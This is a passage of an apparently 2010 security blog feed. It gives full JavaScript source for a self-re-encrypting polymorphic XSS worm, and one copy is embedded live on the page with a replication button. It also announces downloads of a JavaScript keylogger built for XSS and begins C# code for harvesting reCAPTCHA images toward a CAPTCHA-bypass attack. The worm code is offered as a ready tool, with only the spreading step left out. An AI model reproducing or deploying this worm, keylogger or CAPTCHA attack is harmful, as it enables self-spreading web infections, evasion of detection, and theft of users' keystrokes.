Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1947283427273515148</id><published>2010-04-05T14:01:00.000-07:00</published><updated>2010-04-05T14:09:20.413-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='xor encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='polymorphic worm'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='xss worm'/><category scheme='http://www.blogger.com/atom/ns#' term='Polymorphism'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript worm'/><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Prion 1.2 Released - Polymorphic XSS Worm</title><content type='html'>Prion 1.2 is out, and it's quite an improvement over the last version. The updated encoding algorithm eliminated a lot of bloat, and the new code transformations make the decryptor of each worm instance unique.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1.2 Changes&lt;/span&gt;&lt;br /&gt;Integer splitting transformation added &lt;br /&gt;Variable rename transformation added&lt;br /&gt;Added compressed version&lt;br /&gt;Test UI updated&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/prion-polymorphic-xss-worm/downloads/list"&gt;Download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;var replicating=false;setInterval("if(replicating)evalWorm();",1000);function evalWorm(){var code=document.getElementById('xssWorm').value.replace('&amp;lt;','&lt;');eval(code)}function toggleReplication(){replicating=!replicating;document.getElementById('replicateButton').value=(replicating?'Stop':'Start')+' Replicating'}        &lt;/script&gt;&lt;br /&gt;&lt;textarea id="xssWorm" style="width:90%;height:600px"&gt;/* Prion 1.2 by John Leitch - john.leitch5@gmail.com  *//*worm start*/var startToken='/*worm start*/',endToken='/*worm '+'end*/';var generatedVars=new Array();function random(a,b){return Math.round((b-a)*Math.random()+a)}var varNameChars='_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';function genVarName(){var a;do{var b=random(3,14);a='';for(var i=0;i&lt;b;i++){var r=random(0,varNameChars.length-1);a+=varNameChars[r]}}while(varUsed(a));return a}function varUsed(a){for(var i=0;i&lt;generatedVars.length;i++){if(generatedVars[i]==a){return true}}return false}function transformInt(a,b){var c=['+','-','*','/'];var d='';for(var i=0;i&lt;b;i++){var e=random(0,3);var f=d.match(/-?[\d\.]+/g);if(f!=null){for(var j=0;j&lt;f.length;j++){if(f[j].indexOf('.')!=-1){f.splice(j,1);j--;continue}}if(f.length==0)break}if(d!=''){var g=f[random(0,f.length-1)];a=parseInt(g.match(/-?\d+/))}var h='';switch(e){case 0:var x=random(-1000,1000);var y=a-x;h='('+x+'+'+y+')';break;case 1:var y=random(0,1000);var x=a+y;h='('+x+'- '+y+')';break;case 2:var y=random(-1000,1000);var x=a/y;h='Math.round('+x+'*'+y+')';break;case 3:var y=random(-1000,1000);var x=a*y;h='('+x+'/'+y+')';break}if(d!=''){var k=new RegExp('([^\\d\\.]|^)'+a+'(([^\\d\\.])|$)');var l=d;d=d.replace(k,'$1'+h+'$2');try{var m=eval(d)}catch(err){alert('error evaling\r\n\r\n'+'old: '+l+'\r\n\r\n'+'new: '+d+'\r\n\r\n'+'regex: '+k+'\r\n\r\n'+'error: '+err)}}else{d=h}}return d}function encrypt(a){var b=[Math.floor(Math.random()*256),Math.floor(Math.random()*256)];var d=genVarName();var e=genVarName();var f=genVarName();var g=genVarName();var h=8;var j=transformInt(32,random(2,h));var k=transformInt(127,random(2,h));var l=transformInt(2,random(2,h));var m=startToken+'var k0='+b[0]+'\x3b'+'var k1='+b[1]+'\x3b'+'var '+d+'=\'';for(var i=0;i&lt;a.length;i++){var c=(a.charCodeAt(i)^b[0]^b[1]).toString(16);m+=c.length==2?c:+'0'+c}m+='\'\x3bvar '+e+'=\'\'\x3b'+'for(var '+f+'=0;'+f+'&lt;'+d+'.length;'+f+'+=2){'+'var '+g+'=parseInt('+d+'['+f+']+'+d+'['+f+'+1],16)^k0^k1\x3b'+'if('+g+'==10 || ('+g+'&gt;='+j+' &amp;&amp; '+g+'\x3c'+k+'))'+'{'+e+'+=String.fromCharCode('+g+')\x3b}'+''+'}'+'if('+e+'['+e+'.length-1]!=\'\x3b\'){'+e+'='+e+'.substring(0,('+e+'.length-'+l+'))\x3b'+'}'+'eval('+e+');'+endToken;return m}function findKey(a,b){var c=new RegExp('var\\sk'+b+'=(\\d+)');var d=c.exec(a);if(d==null){alert('key byte '+b+' not found');return null}return d[1]}function decrypt(a){var b=[findKey(a,0),findKey(a,1)];if(!b[0]||!b[1])return;var c=a.match(/var\s[\w_]+='([\d\w]+)'\x3b/);if(c==null){alert('packed code not found');return}var d='';var e=c[1].split(',');for(var i=0;i&lt;c[1].length;i+=2){d+=String.fromCharCode(parseInt(c[1][i]+c[1][i+1],16)^b[1]^b[0])}return d}function findSelf(a){var x=a.indexOf(startToken)+startToken.length;var y=a.indexOf(endToken,x);var b=a.substring(x,y);b=b.replace(/\x26lt;/g,'\x3c');return b}var code=findSelf(document.body.innerHTML);if(code.indexOf('var k0=')==0){code=decrypt(code)}var encoded=encrypt(code);document.getElementById('xssWorm').innerHTML=encoded.replace(/\x3c/g,'\x26lt;');/*worm end*/&lt;/textarea&gt;&lt;br /&gt;        &lt;input id="replicateButton" type="button" onclick="toggleReplication()" value="Start Replicating" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1947283427273515148?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1947283427273515148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/prion-12-released-polymorphic-xss-worm.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1947283427273515148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1947283427273515148'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/prion-12-released-polymorphic-xss-worm.html' title='Prion 1.2 Released - Polymorphic XSS Worm'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3111457444622582306</id><published>2010-03-29T19:14:00.000-07:00</published><updated>2010-04-05T21:23:43.055-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='xor encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='polymorphic worm'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='xss worm'/><category scheme='http://www.blogger.com/atom/ns#' term='Polymorphism'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript worm'/><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Prion 1.1 Released - Polymorphic XSS Worm</title><content type='html'>I've affectionately named my worm Prion and released a new version with several browser compatibility fixes and a new test page (embedded below). Click the execute button a few times to see it work. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Old sample removed. An updated version can be found &lt;a href="http://cross-site-scripting.blogspot.com/2010/04/prion-12-released-polymorphic-xss-worm.html"&gt;here&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/prion-polymorphic-xss-worm/"&gt;Download&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3111457444622582306?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3111457444622582306/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/prion-11-released-polymorphic-xss-worm.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3111457444622582306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3111457444622582306'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/prion-11-released-polymorphic-xss-worm.html' title='Prion 1.1 Released - Polymorphic XSS Worm'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-2381148934233310234</id><published>2010-03-28T11:10:00.000-07:00</published><updated>2010-03-29T19:45:25.169-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='xor encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='polymorphic worm'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='xss worm'/><category scheme='http://www.blogger.com/atom/ns#' term='Polymorphism'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript worm'/><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Polymorphic XSS Worm</title><content type='html'>&lt;span style="font-weight:bold;font-size:130%;"&gt;Note: This entry is out of date; several fixes have been made. New download &lt;a href="http://cross-site-scripting.blogspot.com/2010/03/prion-11-released-polymorphic-xss-worm.html"&gt;here&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As the title suggests here is a generic, polymorphic XSS worm. With each infection the worm re-encrypts itself using a basic XOR cipher. The only piece missing is the code that sends the obfuscated script (stored in the &lt;b&gt;encoded&lt;/b&gt; variable) to it's next target, likely a persistent XSS vulnerability. Below is the complete source. To see it in action save the source to an HTML file then view it. The javascript outputted to the text area is the repackaged worm; to test the repackaged source, replace the javascript of the sample below with the encrypted code and view the page again.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-weight:bold;"&gt;Polymorphic XSS Worm Source&lt;/div&gt;&lt;br /&gt;&lt;pre name="code" class="js"&gt;&lt;br /&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;&lt;br /&gt;&amp;lt;html xmlns="http://www.w3.org/1999/xhtml" &amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;    &amp;lt;title&amp;gt;Polymorphic XSS Worm&amp;lt;/title&amp;gt;   &lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;    &amp;lt;textarea id="xssWorm" style="width:400px;height:600px;"&amp;gt;&amp;lt;/textarea&amp;gt;&lt;br /&gt;    &lt;br /&gt;    &amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;        /*  Polymorphic XSS Worm by John Leitch - john.leitch5@gmail.com  */&lt;br /&gt;                    &lt;br /&gt;        /*worm start*/    &lt;br /&gt;        var startToken = '/*worm start*/',&lt;br /&gt;            endToken = '/*worm ' + 'end*/';&lt;br /&gt;&lt;br /&gt;        function encode(code) {&lt;br /&gt;            var key = Math.floor(Math.random() * 256);&lt;br /&gt;&lt;br /&gt;            var packed = startToken + 'var k=' + key + ';var a=[';&lt;br /&gt;&lt;br /&gt;            for (var i = 0; i &amp;lt; code.length; i++) {&lt;br /&gt;                packed += (code.charCodeAt(i) ^ key) + ',';&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            packed += '];var d=\'\';' +&lt;br /&gt;                'for (var i=0;i&amp;lt;a.length;i++)' + &lt;br /&gt;                    '{d+=String.fromCharCode(a[i]^k);}eval(d);' + endToken;&lt;br /&gt;&lt;br /&gt;            return packed;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        function decode(code) {&lt;br /&gt;            var keyMatch = code.match(/var\sk=(\d+)/);&lt;br /&gt;&lt;br /&gt;            if (keyMatch == null) {&lt;br /&gt;                alert('key not found');&lt;br /&gt;&lt;br /&gt;                return;&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            var key = keyMatch[1];&lt;br /&gt;&lt;br /&gt;            var codeMatch = code.match(/var\sa=\[([\d{1,3},]+)\];/);&lt;br /&gt;&lt;br /&gt;            if (codeMatch == null) {&lt;br /&gt;                alert('packed code not found');&lt;br /&gt;&lt;br /&gt;                return;&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            var unpacked = '';&lt;br /&gt;&lt;br /&gt;            var codeBytes = codeMatch[1].split(',');&lt;br /&gt;&lt;br /&gt;            for (var i = 0; i &amp;lt; codeBytes.length; i++) {&lt;br /&gt;                if (!codeBytes[i]) {&lt;br /&gt;                    continue;&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                unpacked += String.fromCharCode(codeBytes[i] ^ key);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            return unpacked;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        function findSelf(response) {&lt;br /&gt;            var x = response.indexOf(startToken) + startToken.length;&lt;br /&gt;            var y = response.indexOf(endToken, x);&lt;br /&gt;&lt;br /&gt;            var code = response.substring(x, y);&lt;br /&gt;&lt;br /&gt;            return code;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        var code = findSelf(document.body.innerHTML);&lt;br /&gt;&lt;br /&gt;        if (code.indexOf('var k=') == 0) {&lt;br /&gt;            code = decode(code);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        var encoded = encode(code);&lt;br /&gt;&lt;br /&gt;        // This is where the newly obfuscated worm (stored in encoded)&lt;br /&gt;        // is passed on to it's next target. But because we don't have a&lt;br /&gt;        // target we'll spit the newly obfuscated code out to a textarea.&lt;br /&gt;&lt;br /&gt;        document.getElementById('xssWorm').value = encoded;&lt;br /&gt;        /*worm end*/&lt;br /&gt;    &amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-2381148934233310234?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/2381148934233310234/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/polymorphic-xss-worm.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2381148934233310234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2381148934233310234'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/polymorphic-xss-worm.html' title='Polymorphic XSS Worm'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5184211076909188721</id><published>2010-03-27T14:23:00.000-07:00</published><updated>2010-03-27T14:27:45.651-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='keystroke logger'/><category scheme='http://www.blogger.com/atom/ns#' term='keylogger'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='http server'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Javascript Keylogger 1.3 Released</title><content type='html'>Changes:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-style:italic"&gt;Log entries now categorized by page view and field rather than just field&lt;br /&gt;Fixed server crash bugs&lt;br /&gt;Fixed bug related to replacing head &amp; body&lt;/div&gt;&lt;br /&gt;&lt;a href="https://sourceforge.net/projects/jskeylogger/files/"&gt;Download 1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/javascript-keylogger/downloads/list"&gt;Download 2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Happy keystroke logging!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5184211076909188721?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5184211076909188721/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/javascript-keylogger-13-released.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5184211076909188721'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5184211076909188721'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/javascript-keylogger-13-released.html' title='Javascript Keylogger 1.3 Released'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-4799780003720284203</id><published>2010-03-22T15:09:00.000-07:00</published><updated>2010-03-27T14:28:16.031-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='keystroke logger'/><category scheme='http://www.blogger.com/atom/ns#' term='keylogger'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='http server'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Javascript Keylogger 1.2 Released</title><content type='html'>&lt;a href="https://sourceforge.net/projects/jskeylogger/files/"&gt;Download 1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/javascript-keylogger/downloads/list"&gt;Download 2&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-4799780003720284203?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/4799780003720284203/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/javascript-keylogger-12-released.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4799780003720284203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4799780003720284203'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/javascript-keylogger-12-released.html' title='Javascript Keylogger 1.2 Released'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1894908529999663981</id><published>2010-03-13T17:55:00.000-08:00</published><updated>2010-03-27T14:27:14.757-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='keystroke logger'/><category scheme='http://www.blogger.com/atom/ns#' term='keylogger'/><category scheme='http://www.blogger.com/atom/ns#' term='http server'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Javascript Keylogger 1.1 Released - HTTP Server Added</title><content type='html'>&lt;a href="http://code.google.com/p/javascript-keylogger/"&gt;Javascript Keylogger&lt;/a&gt; has been updated. The new release contains an a customized HTTP server that generates keystroke reports.&lt;br /&gt;&lt;br /&gt;From the readme:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-style:italic;font-size:95%;"&gt;Start the server, view Test1.htm or Test2.htm, and type in one of the inputs to see it in action. Logged keystrokes are displayed in the console and written to a text file in the same directory as the server. Server settings are in the JavascriptKeyloggerServer.exe.config file.&lt;/div&gt;&lt;br /&gt;&lt;a href="https://sourceforge.net/projects/jskeylogger/files/"&gt;Download 1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/javascript-keylogger/downloads/list"&gt;Download 2&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1894908529999663981?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1894908529999663981/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/javascript-keylogger-11-released-http.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1894908529999663981'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1894908529999663981'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/javascript-keylogger-11-released-http.html' title='Javascript Keylogger 1.1 Released - HTTP Server Added'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5653881954121492924</id><published>2010-03-10T21:21:00.000-08:00</published><updated>2010-03-27T14:28:06.529-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='keystroke logger'/><category scheme='http://www.blogger.com/atom/ns#' term='keylogger'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Javascript Keylogger</title><content type='html'>I wrote a javascript keylogger that works nicely with XSS vulnerabilities.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://sourceforge.net/projects/jskeylogger/files/"&gt;Download 1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/javascript-keylogger/downloads/list"&gt;Download 2&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5653881954121492924?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5653881954121492924/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/javascript-keylogger.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5653881954121492924'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5653881954121492924'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/javascript-keylogger.html' title='Javascript Keylogger'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-4661570549272701018</id><published>2010-03-02T22:06:00.001-08:00</published><updated>2010-03-03T09:02:55.538-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Money'/><category scheme='http://www.blogger.com/atom/ns#' term='Scraping'/><category scheme='http://www.blogger.com/atom/ns#' term='reCAPTCHA Attack'/><category scheme='http://www.blogger.com/atom/ns#' term='CAPTCHA Hack'/><category scheme='http://www.blogger.com/atom/ns#' term='reCAPTCHA Hack'/><category scheme='http://www.blogger.com/atom/ns#' term='CAPTCHA'/><category scheme='http://www.blogger.com/atom/ns#' term='Regular Expressions'/><category scheme='http://www.blogger.com/atom/ns#' term='CAPTCHA Attack'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='Scrape'/><category scheme='http://www.blogger.com/atom/ns#' term='reCAPTCHA'/><category scheme='http://www.blogger.com/atom/ns#' term='Spider'/><category scheme='http://www.blogger.com/atom/ns#' term='Crawler'/><category scheme='http://www.blogger.com/atom/ns#' term='Bot'/><category scheme='http://www.blogger.com/atom/ns#' term='CAPTCHA Defeat'/><category scheme='http://www.blogger.com/atom/ns#' term='reCAPTCHA Defeat'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Scraping - reCAPTCHA Hack</title><content type='html'>After reading about the &lt;a href="http://www.wired.com/threatlevel/2010/03/wiseguys-indicted/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:+wired/index+(Wired:+Index+3+(Top+Stories+2))&amp;utm_content=Google+Feedfetcher"&gt;$25 million online ticket heist&lt;/a&gt; and the involvement of the reCAPTCHA service I decided to see if the reported flaw was still present. From the article:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-style:italic;"&gt;[The perpetrators] wrote a script that impersonated users trying to access Facebook, and downloaded hundreds of thousands of possible CAPTCHA challenges from reCAPTCHA. They identified the file ID of each CAPTCHA challenge and created a database of CAPTCHA “answers” to correspond to each ID. The bot would then identify the file ID of a challenge at Ticketmaster and feed back the corresponding answer.&lt;/div&gt;&lt;br /&gt;If the writer was referring to the ID passed to http://api.recaptcha.net/image via query string, the vulnerability appears to be fixed as the ID is temporary. However, the images are still the same and through the use of a cryptographic hash function such as MD5 we can identify duplicates. The following C# console application downloads a number (specified by the imageCount variable) of CAPTCHA images from reCAPTCHA, hashes each, groups the results by hash, then writes the results to a text file. Downloading as few as 1024 images can yield several identical images. Building on this one could potentially pull off the reCAPTCHA attack described in the article.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="c#"&gt;&lt;br /&gt;using System;&lt;br /&gt;using System.Text;&lt;br /&gt;using System.Text.RegularExpressions;&lt;br /&gt;using System.IO;&lt;br /&gt;using System.Net;&lt;br 